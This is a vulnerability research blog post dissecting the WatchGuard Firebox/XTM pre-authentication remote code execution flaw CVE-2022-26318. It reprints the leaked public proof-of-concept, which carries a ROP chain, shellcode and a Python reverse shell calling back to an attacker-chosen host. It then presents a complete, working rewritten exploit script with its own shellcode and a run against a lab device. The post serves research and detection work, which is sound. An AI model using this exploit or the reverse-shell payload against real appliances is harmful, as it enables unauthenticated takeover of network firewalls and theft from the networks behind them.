Diving Deeper into WatchGuard Pre-Auth RCE - CVE-2022-26318

Apr 13, 2022

A world where binary payloads come with explanations.

The CVE for this issue is CVE-2022-26318.

The reverse engineering of this CVE was performed by Dylan Pindur.


Greynoise Report and Preliminary Analysis

On March 18 2022 GreyNoise reported seeing activity targeting CVE-2022-26318, an advisory for a nondescript vulnerability in WatchGuard Firebox and XTM appliances. WatchGuard appliances provide various network security functions including firewall, threat detection and VPN services. A cursory search with Censys lists roughly 400,000 internet facing WatchGuard devices. As such, an exploit in one of these devices can have a big impact.

Examining the CVE yielded little useful information. The only note on the issue from WatchGuard was that it “could allow an unauthenticated user to execute arbitrary code”. Things became more interesting on March 28 2022 when a proof-of-concept was released and then removed shortly after. Forunately, a mirror is available here. Looking at the exploit, which is included below, we can make a few guesses before running it. As we will see in the post, some of these are correct and others are not.

def buildPayload(L_HOST):
   payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><".encode()
   payload += ("A"*3181).encode()
   payload += "MFA>".encode()
   payload += ("<BBBBMFA>"*3680).encode()
   payload += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 [email protected]\x00\x00\x00\x00\x00h\[email protected]\x00\x00\x00\x00\x00 [email protected]\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xb1\xd5A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}^@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|^@\x00\x00\x00\x00\x00\xad\xd2A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*\[email protected]\x00\x00\x00\x00\x00H\x8d=\x9d\x00\x00\x00\xbeA\x02\x00\x00\xba\xb6\x01\x00\x00\xb8\x02\x00\x00\x00\x0f\x05H\x89\x05\x92\x00\x00\x00H\x8b\x15\x93\x00\x00\x00H\x8d5\x94\x00\x00\x00H\x8b=}\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05H\x8b=o\x00\x00\x00\xb8\x03\x00\x00\x00\x0f\x05\xb8;\x00\x00\x00H\x8d=?\x00\x00\x00H\x89= \x00\x00\x00H\x8d5A\x00\x00\x00H\x895\x1a\x00\x00\x00H\x8d5\x0b\x00\x00\x001\xd2\x0f\x05\xb8<\x00\x00\x00\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00/usr/bin/python\x00/tmp/test.py\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef\x01\x00\x00\x00\x00\x00\x00'
   payload += 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",8888)); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);call(["/bin/python","-i"]);'.format(L_HOST).encode()
   return gzip.compress(payload, 9)
  1. The exploit begins with a large malformed XML payload, so the XML parser is a likely candidate for exploitation.
  2. The exploit is compressed using gzip, another location where it’s reasonable for a memory-related vulnerability to appear.
  3. Towards the end of the exploit we see multiple string of bytes in the format 00 00 00 00 00 xx xx xx indicating a possible rop gadget consisting of 64-bit memory addresses where the high bits are all set to zero.

Getting WatchGuard Up and Running

First we needed to start up a vulnerable instance of WatchGuard to verify the exploit. This was easier said than done. By tweaking the URL for the FireboxV 12.8 VM image we were able to download FireboxV-12.7.2. However, after starting the VM and logging in we were presented with a limited shell and no file access. No worries, we can mount the disk image in another VM and overwrite the root password.

[[email protected] ~]# mount /dev/nvme0n2p2 /tmp/firebox
[[email protected] ~]# openssl passwd -6 root
$6$rkm3xalVbXgD/rQ7$Fl.F.rJi/5J.t4DTIS.itt6ypDXtfC7XKAnD1FM6vNMGjl0jiO0X.kW8r2cQPqW3HWneRSipaneXsg4wzZCuS.
[[email protected] ~]# sed -i 's|root:.*:0:0|root:$6$rkm3xalVbXgD/rQ7$Fl.F.rJi/5J.t4DTIS.itt6ypDXtfC7XKAnD1FM6vNMGjl0jiO0X.kW8r2cQPqW3HWneRSipaneXsg4wzZCuS.:0:0|' /tmp/firebox/etc/passwd

After trying to login, we were hit with another hurdle. There was no shell installed at all.

WatchGuard-XTM login: root
Password: root
login: can't execute '/bin/ash': No such file or directory

Using the same trick as before we mounted the disk image and copied /bin/bash over. In retrospect, this would have been a good time to check what other utilities were missing, because there were a lot of them. After actually logging in, we were greeted with no way to read files and all mounted filesystems locked down to either be non-executable or non-writable.

([email protected]) Password: 
-bash-5.1# cat /etc/nginx/nginx.conf 
-bash: cat: command not found
-bash-5.1# cd /bin
-bash-5.1# echo x > x.txt
-bash: x.txt: Read-only file system

After another round of mount, copy, reboot we had BusyBox installed and remounted the filesystem as read-write. We began our analysis by searching through the Nginx configuration files. We found that the target port of the exploit (4117) is proxied to /usr/bin/wgagent. Our analysis also showed that port 8080 points to the same wgagent service.

server {
    listen              4117 ssl;
    listen              [::]:4117 ssl;

    include             fastcgi_params;
    fastcgi_param       SCRIPT_NAME     $fastcgi_script_name;
    fastcgi_param       SCRIPT_FILENAME $document_root$fastcgi_script_name;
    fastcgi_param       WG_SSL_SERVER_CERT /var/run/nginx/server.pem;
    fastcgi_request_buffering off;

    if ($request_method !~ ^(GET|HEAD|POST)$) { return 444; }

    location /agent/ {
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
        # /agent/file_action can take a while, e.g. backup
        fastcgi_read_timeout    10m;
    }
    location /login {   # no trailing slash
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
    }
    location /logout {
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
    }
    location /ping {    # no trailing slash
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
    }
    location /cluster/ {
        fastcgi_pass    unix:/usr/share/web/upload/tmp/wgagent;
    }
}

Lastly, we dropped a statically compiled gdbserver onto our target, opened the firewall and attached to the wgagent process. We were finally ready to run the exploit.

-bash-5.1# iptables -I INPUT 1 -i eth0 -j ACCEPT
-bash-5.1# gdbserver --attach 0.0.0.0:15432 $(busybox pidof wgagent)
Attached; pid = 2536
Listening on port 15432

Segfaults, XML Parsing and Buffer Overflows

From our debugging machine we attached to the target. We used GDB with PEDA to make the process less painful. We bumped our payload by a few bytes to try and get a crash rather than a clean exit. That way we would have somewhere to start searching for the vulnerability itself.

[----------------------------------registers-----------------------------------]
EFLAGS: 0x10216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7f0c39e894c4:	pop    r13
   0x7f0c39e894c6:	pop    r14
   0x7f0c39e894c8:	pop    r15
=> 0x7f0c39e894ca:	ret    
   0x7f0c39e894cb:	nop    DWORD PTR [rax+rax*1+0x0]
   0x7f0c39e894d0:	mov    rax,QWORD PTR [r15+0x38]
   0x7f0c39e894d4:	movsxd rdx,edx
   0x7f0c39e894d7:	movsxd r12,ecx
[------------------------------------stack-------------------------------------]
0000| 0x7ffcd3e0afd6 --> 0x0 
0004| 0x7ffcd3e0afda --> 0x405020 (ret)
0008| 0x7ffcd3e0afde --> 0x0 
0012| 0x7ffcd3e0afe2 --> 0x40f968 (ret    0x2)
0016| 0x7ffcd3e0afe6 --> 0x0 
0020| 0x7ffcd3e0afea --> 0x405020 (ret)
0024| 0x7ffcd3e0afee --> 0x0 
0028| 0x7ffcd3e0aff2 --> 0xd60e0000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007f0c39e894ca in ?? () from target:/lib64/libxml2.so.2

Looking at the stack trace gave us a good starting point in Ghidra to know where to look. If we’re lucky the crash will be near the vulnerability. The segfault also occurs in the XML parsing library which lines up with our guess that the XML parser is the source of the vulnerability.

After looking at the symbols imported from libxml2, we searched for calls to xmlParseChunk with Ghidra. All the calls we found are in one function starting at 0x0040869d.

 

So we put a breakpoint at 0x0040869d and reran our exploit to see if we safely return from the function or if it crashes.

gdb-peda$ break *0x0040869d
Breakpoint 1 at 0x40869d
gdb-peda$ continue
Continuing.

[----------------------------------registers-----------------------------------]
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40869a:	nop
   0x40869b:	leave  
   0x40869c:	ret    
=> 0x40869d:	push   rbp
   0x40869e:	mov    rbp,rsp
   0x4086a1:	sub    rsp,0x30f10
   0x4086a8:	mov    QWORD PTR [rbp-0x30f08],rdi
   0x4086af:	mov    QWORD PTR [rbp-0x30f10],rsi
[------------------------------------stack-------------------------------------]
0000| 0x7ffffff0a248 --> 0x40b8f8 (mov    QWORD PTR [rbp-0x88],rax)
0004| 0x7ffffff0a24c --> 0x0 
0008| 0x7ffffff0a250 --> 0x0 
0012| 0x7ffffff0a254 --> 0x0 
0016| 0x7ffffff0a258 --> 0x0 
0020| 0x7ffffff0a25c --> 0x0 
0024| 0x7ffffff0a260 --> 0x8bd 
0028| 0x7ffffff0a264 --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x000000000040869d in ?? ()
gdb-peda$ finish
Run till exit from #0  0x000000000040869d in ?? ()

Program received signal SIGSEGV, Segmentation fault.

We got a segfault, which is good news. Given what we knew about this function and our payload, this was a promising lead. Our next port of call was some code review of the function making all the calls to xmlParseChunk. The function allocates quite a few large buffers on the stack and on the heap, however after enumerating these, all appeared to performed safely.

The next path we ventured down was the XML parser itself. There are no published vulnerabilities in the version of libxml2 used by WatchGuard. However, when we looked at the instantiation of the xml parser we saw that it was passed several callbacks.

Ghidra mistakenly identified them as separate local variables and not part of the larger structure beginning at local_158. We inferred this because the call to bzero on local_158 zeroes out 256 bytes and not the 48 specified in the variable declaration.

undefined local_158 [48];
undefined8 local_128;
code *local_f8;
code *local_f0;
code *local_d0;
code *local_70;
code *local_68;
...
bzero(local_158,0x100);
xmlSAX2InitDefaultSAXHandler(local_158,1);
local_f8 = FUN_00406797;
local_f0 = FUN_004067d4;
local_70 = FUN_004067ef;
local_68 = FUN_00406dce;
local_d0 = FUN_004070b3;

Through some trial and error, we discovered that these callbacks correspond to the following XML SAX handler fields.

  • startDocument
  • endDocument
  • startElementNs
  • endElementNs
  • characters

We reviewed these callbacks and found that at the end startElementNs (FUN_004067ef) a call to strcat is made with the element name (param_2) used as the source string.

do {
   if (uVar9 == 0) break;
   uVar9 = uVar9 - 1;
   cVar1 = *pcVar10;
   pcVar10 = pcVar10 + (ulong)bVar11 * -2 + 1;
} while (cVar1 != '\0');

*(undefined2 *)(~uVar9 + 0x42735f) = 0x2f;
strcat(&DAT_00427360,param_2);

DAT_00427194 = 1;
DAT_00427198 = 0;
*(int *)(param_1 + 0x40) = *(int *)(param_1 + 0x40) + 1;

return;

strcat is a pretty popular target for buffer overflows, so we put a breakpoint before our call to strcat and ran display/s $rdi to print the destination argument as a string each time execution was paused.

[----------------------------------registers-----------------------------------]
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x406d8c:	mov    rsi,rax
   0x406d8f:	mov    rax,0x427360
   0x406d96:	mov    rdi,rax
=> 0x406d99:	call   0x405c00 <[email protected]>
   0x406d9e:	mov    rax,0x427194
   0x406da5:	mov    DWORD PTR [rax],0x1
   0x406dab:	mov    rax,0x427198
   0x406db2:	mov    DWORD PTR [rax],0x0
No argument
[------------------------------------stack-------------------------------------]
0000| 0x7fff5ca61b00 --> 0x0 
0004| 0x7fff5ca61b04 --> 0x0 
0008| 0x7fff5ca61b08 ("xt/p")
0012| 0x7fff5ca61b0c --> 0x0 
0016| 0x7fff5ca61b10 --> 0x0 
0020| 0x7fff5ca61b14 --> 0x0 
0024| 0x7fff5ca61b18 --> 0x0 
0028| 0x7fff5ca61b1c --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000000000406d99 in ?? ()
gdb-peda$ display/s $rdi
2: x/s $rdi  0x427360:	"/"

We stepped through multiple calls to strcat and found that it was constructing an XPath query to traverse the XML document.

2: x/s $rdi  0x427360:	"/methodCall/"
2: x/s $rdi  0x427360:	"/methodCall/params/"
2: x/s $rdi  0x427360:	"/methodCall/params/param/"
...
2: x/s $rdi  0x427360:	"/methodCall/params/param/value/struct/member/value/", 'A' <repeats 149 times>...

There didn’t seem to be any limit on how many times strcat was called and after we checked the process mappings it looked like eventually strcat would start overflowing into heap memory. This can be seen below, the destiantion address 0x427360 is in the block immediately preceeding the heap 0x428000.

gdb-peda$ info proc mapping
process 2921
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x405000     0x5000        0x0 /usr/bin/wgagent
            0x405000           0x41e000    0x19000     0x5000 /usr/bin/wgagent
            0x41e000           0x425000     0x7000    0x1e000 /usr/bin/wgagent
            0x425000           0x426000     0x1000    0x24000 /usr/bin/wgagent
            0x426000           0x428000     0x2000    0x25000 /usr/bin/wgagent
            0x428000           0x474000    0x4c000        0x0 [heap]

Although there are multiple ways to exploit heap overflows, there’s a simpler option available to us here. Using PEDA we searched memory for the address of our startElementNs callback (0x4067ef) and found that, as part of instantiating the parser context, the address is copied to the heap and is roughly 11,000 bytes away from the start of the XPath query.

gdb-peda$ find 0x4067ef
Searching for '0x4067ef' in: None ranges
Found 2 results, display max 2 items:
 [heap] : 0x429e68 --> 0x4067ef (push   rbp)
[stack] : 0x7fff5ca92c88 --> 0x4067ef (push   rbp)

We inspected the memory before and after and confirmed it was our SAX handler struct as it contained the magic identifier specified by libxml2, #define XML_SAX2_MAGIC 0xDEEDBEAF.

gdb-peda$ x/10w 0x429e68-0x10
0x429e58:	0xdeedbeaf	0x00000000	0x00000000	0x00000000
0x429e68:	0x004067ef	0x00000000	0x00406dce	0x00000000
0x429e78:	0x00000000	0x00000000

We put a watch on the heap address of the callback, waiting for it to be overwritten and when it was we saw something familiar.

gdb-peda$ watch *(int *) 0x429e68
Hardware watchpoint 3: *(int *) 0x429e68
gdb-peda$ continue 2000
Will ignore next 1999 crossings of breakpoint 2.  Continuing.

Hardware watchpoint 3: *(int *) 0x429e68

Old value = 0x4067ef
New value = 0x41464d
0x00007fbe99c3ccb6 in ?? () from target:/lib64/libc.so.6

0x41464d is MFA, the three characters repeated in the XML payload. We had found the start of our ROP gadget chain. Next time libxml2 tries to call startElementNs it will instead jump to 0x41464d.


ROP Chains

The goal of this ROP chain was to pivot execution to the shellcode located on the stack. Fortunately, the stack was already marked as executable so no additional steps need to be taken. An annotated trace of the chain is as follows:

Pop 37054 bytes from the stack and return but with a now much shorter stack.
0x41464d:	ret    0x90be

Continue execution of libxml2 as normal.
0x7f37bfee24a4:	add    rsp,0x20
0x7f37bfee24a8:	mov    ecx,DWORD PTR [rsp+0x3c]
0x7f37bfee24ac:	test   ecx,ecx
0x7f37bfee24ae:	jne    0x7f37bfee26bb
0x7f37bfee24b4:	mov    rax,QWORD PTR [rsp+0x10]
0x7f37bfee24b9:	add    rsp,0x88
0x7f37bfee24c0:	pop    rbx
0x7f37bfee24c1:	pop    rbp
0x7f37bfee24c2:	pop    r12
0x7f37bfee24c4:	pop    r13
0x7f37bfee24c6:	pop    r14
0x7f37bfee24c8:	pop    r15
0x7f37bfee24ca:	ret

Pop 2 bytes from the stack and hop to the next gadget.
0x40f968:	ret    0x2

Hop to the next gadget.
0x405020:	ret

Pop ROP gadget at 0x41d611 into rax.
0x41d60e:	pop    rax
0x41d60f:	pop    rbx
0x41d610:	pop    rbp
0x41d611:	ret

Save the stack pointer in rbp then call the gadget popped into rax previously.
0x405e7d:	mov    rbp,rsp
0x405e80:	call   rax

Bump two values off the stack.
0x41d5b1:	pop    rsi
0x41d5b2:	pop    r15
0x41d5b4:	ret

Push rbp, which contains our stack pointer onto the stack.
0x405e7c:	push   rbp
0x405e7d:	mov    rbp,rsp
0x405e80:	call   rax

Bump two values off the stack.
0x41d5b1:	pop    rsi
0x41d5b2:	pop    r15
0x41d5b4:	ret

Load stack address we pushed on earlier into rdx and copy it into rsi.
0x41d2ad:	lea    rdx,[rbp-0x80]
0x41d2b1:	mov    rsi,rdx
0x41d2b4:	mov    rdi,rcx
0x41d2b7:	call   rax

Bump two values off the stack.
0x41d5b1:	pop    rsi
0x41d5b2:	pop    r15
0x41d5b4:	ret

Pop 0xc0 into rax to bump what will become our stack pointer by 192 bytes.
0x41d60e:	pop    rax
0x41d60f:	pop    rbx
0x41d610:	pop    rbp
0x41d611:	ret

Copy (via adding) rdx, which points to the stack, into rax and then jump to rax.
0x40a92a:	add    rax,rdx
0x40a92d:	jmp    rax

Start executing our shellcode.
0x7ffd5782ca68:	nop

Hijacking the Response

The goal here had been to determine if this exploit was suitable to put into our platform here at Assetnote. This means the exploit must meet certain criteria. It is preferred if the exploit is relatively non-intrusive, consistent and doesn’t rely on calling back to our infrastructure. Unfortunately, as presented, this exploit didn’t meet this criteria. The exploit writes a file to disk and then throws a reverse shell that we are expected to catch. Bearing all this in mind, some modifications were required. Since we’re already making a HTTP request, what would be great is if we could hijack the response and write out a unique value. Then if we see this unique value, we know the exploit worked.

First, we ran the process with strace attached and sent through a normal request. The goal here was to capture what information the wgagent process writes sends back to Nginx as a reply.

-bash-5.1# strace -e trace=write -v -s 1024 -p $(busybox pidof wgagent)
strace: Process 2536 attached
write(9, "\1\6\0\1\1]\3\0Content-type: text/xml\r\n\r\n<?xml version=\"1.0\"?>\n<methodResponse>\n <fault><value><struct>\n  <member>\n   <name>faultCode</name>\n   <value><int>401</int></value>\n  </member>\n  <member>\n   <name>faultString</name>\n   <value><string>invalid credentials or user doesn&apos;t exist</string></value>\n  </member>\n </struct></value></fault>\n</methodResponse>\n\0\0\0", 360) = 360
write(9, "\1\6\0\1\0\0\0\0\1\3\0\1\0\10\0\0\0\0\0\0\0\0\0\0", 24) = 24

We saw that the response always follows the same format, some binary and then some HTML written out to file descriptor nine. Cross-referencing this against what we know about the process (that it uses FCGI) we saw that it lined up quite nicely with an FCGI response record struct.

typedef struct {
   unsigned char version;                    // 0x01
   unsigned char type;                       // 0x06 (FCGI_STDOUT)
   unsigned char requestIdB1;                // 0x00
   unsigned char requestIdB0;                // 0x01
   unsigned char contentLengthB1;            // 0x01
   unsigned char contentLengthB0;            // ]
   unsigned char paddingLength;              // 0x03
   unsigned char reserved;                   // 0x00
   unsigned char contentData[contentLength]; // Content-type: text/xml...
   unsigned char paddingData[paddingLength]; // 0x000000
} FCGI_Record;

All we needed to do next was write some short shellcode to setup and execute a syscall which wrote out a test value, “PewPewPewPew”. We also added an exit syscall afterwards to ensure the process exited cleanly rather than segfaulting after our shellcode finished.

0:  48 c7 c2 30 00 00 00    mov    rdx,0x30     ; arg 3 to write, the string length
7:  48 89 e6                mov    rsi,rsp
a:  48 83 c6 38             add    rsi,0x38     ; arg 2 to write, stack pointer + offset to our fcgi record
e:  48 c7 c7 09 00 00 00    mov    rdi,0x9      ; arg 1 to write, file descriptor we are writing to
15: 48 c7 c0 01 00 00 00    mov    rax,0x1      ; write's syscall number
1c: 0f 05                   syscall
1e: 48 c7 c0 3c 00 00 00    mov    rax,0x3c     ; exit's syscall number (60)
25: 48 c7 c7 00 00 00 00    mov    rdi,0x0      ; arg 1 to exit
2c: 0f 05                   syscall

Putting it all together we produced the following exploit.

#!/usr/bin/env python3

import socket
import ssl
import gzip
import sys

def build_payload():
    # xml overflow payload
    payload  = b''
    payload += b'<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><'
    payload += b'A'*3181
    payload += b'MFA>'
    payload += b'<BBBBMFA>'*3680

    # padding and rop chain
    payload += b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 [email protected]\x00\x00\x00\x00\x00h\[email protected]\x00\x00\x00\x00\x00 [email protected]\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xb1\xd5A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}^@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00|^@\x00\x00\x00\x00\x00\xad\xd2A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00*\[email protected]\x00\x00\x00\x00\x00'

    # shell code
    payload += b'\x48\xC7\xC2\x30\x00\x00\x00'  # mov rdx,0x30
    payload += b'\x48\x89\xE6'                  # mov rsi,rsp
    payload += b'\x48\x83\xC6\x2e'              # add rsi,0x2e
    payload += b'\x48\xC7\xC7\x09\x00\x00\x00'  # mov rdi,0x9
    payload += b'\x48\xC7\xC0\x01\x00\x00\x00'  # mov rax,0x1 
    payload += b'\x0f\x05'                      # syscall
    payload += b'\x48\xc7\xc0\x3c\x00\x00\x00'  # mov rax,0x3c
    payload += b'\x48\xc7\xc7\x00\x00\x00\x00'  # mov rdi,0x0
    payload += b'\x0f\x05'                      # syscall

    # http response
    payload += b'\x01'      # fcgi version
    payload += b'\x06'      # fcgi type (stdout)
    payload += b'\x00\x01'  # fcgi request id
    payload += b'\x00\x3c'  # content length
    payload += b'\x00'      # padding length
    payload += b'\x00'      # reserved
    payload += b'Content-Type: text/plain\r\n\r\nPewPewPewPew'

    return gzip.compress(payload, 9)

def build_post_request(target):
    payload = build_payload()

    request  = ''
    request += 'POST /agent/login HTTP/1.1\r\n'
    request += 'Host: {}:8080\r\n'.format(target)
    request += 'Content-Encoding: gzip\r\n'
    request += 'Content-Length: {}\r\n'.format(len(payload))
    request += '\r\n'

    return request.encode() + payload

if __name__ == '__main__':
    TARGET = sys.argv[1]

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ssl_sock = ssl.wrap_socket(sock=sock, cert_reqs=ssl.CERT_NONE)

    print('connecting to {} port {}'.format(TARGET, 8080))
    ssl_sock.connect((TARGET, 8080))

    print ('sending payload...')
    request = build_post_request(TARGET)
    ssl_sock.send(request)

    print('receiving...')
    print(ssl_sock.recv())

Which, when run, gave us the response we had all been waiting for!

$ ./exploit.py 192.168.1.253
connecting to 192.168.1.253 port 8080
sending payload...
receiving...
b"HTTP/1.1 200 OK\r\nDate: Wed, 13 Apr 2022 12:37:10 GMT\r\nContent-Type: text/plain\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nX-Frame-Options: SAMEORIGIN\r\nX-XSS-Protection: 1; mode=block\r\nX-Content-Type-Options: nosniff\r\nStrict-Transport-Security: max-age=31536000\r\nContent-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self'\r\nX-Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self'\r\nX-Webkit-CSP: default-src 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'self'; media-src 'self'; child-src 'self'\r\n\r\nc\r\nPewPewPewPew\r\n"

Conclusions

So what have we learnt? Locking down a VM by removing utilities and mounting filesystems as read-only, while annoying, doesn’t provide a great deal protection. The original exploit used python to get around this and we were able to remove the protections with a little effort. That being said, it does make maintaining perstence after exploitation considerably harder.

Out of our three initial guesses, two were correct. The XML parser was vulnerable and the exploit did utilise a ROP chain. However, nothing in the exploit appeared to rely on it being compressed. Instead this was probably done to avoid sending a 30kB POST body.

Lastly, as expected, strcat and friends are probably best avoided. There are safer alternatives out there like strlcat.

As part of the development of our Continuous Security Platform, Assetnote’s Security Research team is consistently looking for and analysing security vulnerabilities in enterprise software to help customers identify security issues across their attack surface.

Looking at this research as a whole one the of the key takeaways is that the visibility into the exposure of enterprise software is often lacking or misunderstood by organizations that deploy this software. Little information was provided on how to verify if a deployment was vulnerable and the criticality of the issue was left relatively quiet.

Many organizations disproportionately focus on in-house software and network issues at the expense of awareness and visibility into the exposure in the software developed by third parties. Our experience has shown that there continues to be significant vulnerabilities in widely deployed enterprise software that is often missed.

If you are interested in gaining wholistic, real-time visibility into your attack surface please contact us.


Assetnote Is Hiring!

If you are interested in working on the leading Attack Surface Management platform that’s helping companies worldwide from the Fortune 100 to innovate startups secure millions of systems please check out our careers page for current openings. We are always on the lookout for top talent so even if there are no open roles in your field please feel free to drop us a line.